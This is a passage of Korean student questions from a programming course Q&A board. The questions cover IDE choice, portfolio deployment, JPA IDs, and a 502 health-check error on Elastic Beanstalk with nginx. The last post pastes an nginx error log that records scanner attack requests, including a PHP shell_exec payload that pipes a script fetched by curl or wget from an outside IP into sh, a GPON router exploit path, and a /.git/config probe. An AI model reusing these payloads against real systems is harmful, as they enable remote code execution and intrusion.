안녕하세요! 이번에 큰맘 먹고 수강 신청한 초보 개발자 입니다.인텔리제이 대신 이클립스를 사용해도 괜찮을까요?꼭 mysql로 사용해야 하는 건지, 그렇다면 강의에서 설명해 주시는 내용과 차이가 많이 생기는 건가요?위의 궁금한 사항에 답 부탁드립니다 :) 

현재 프론트하고 백엔드하고 배포를 따로 하려고 하는데이 배포를 언제까지 유지해야 하는지가 궁금합니다.포폴에 배포 링크를 담아주고 취업할 때 까지 유지해야 하는지 아니면 배포하고 시연 이미지 첨부한 설명을 포폴에 담고 배포를 종료해도 되는지 어떻게 해야하는지 궁금합니다. 알려주시면 감사하겠습니다 ㅠㅠ (__) 꾸벅

안녕하세요 강사님. 강의를 듣다 질문이 생겨 글 남깁니다.평소에 습관적으로 spring boot로 개발을 할 때에, User class에@Idprivate Long id;위와 같은 코드를 붙이곤 하는데요, 강사님 강의에선 response dto에만 id값이 들어가 있어서 질문 드립니다! 도메인 클래스에는 없어도 상관 없는 것일까요?항상 좋은 강의 감사드립니다!

안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "
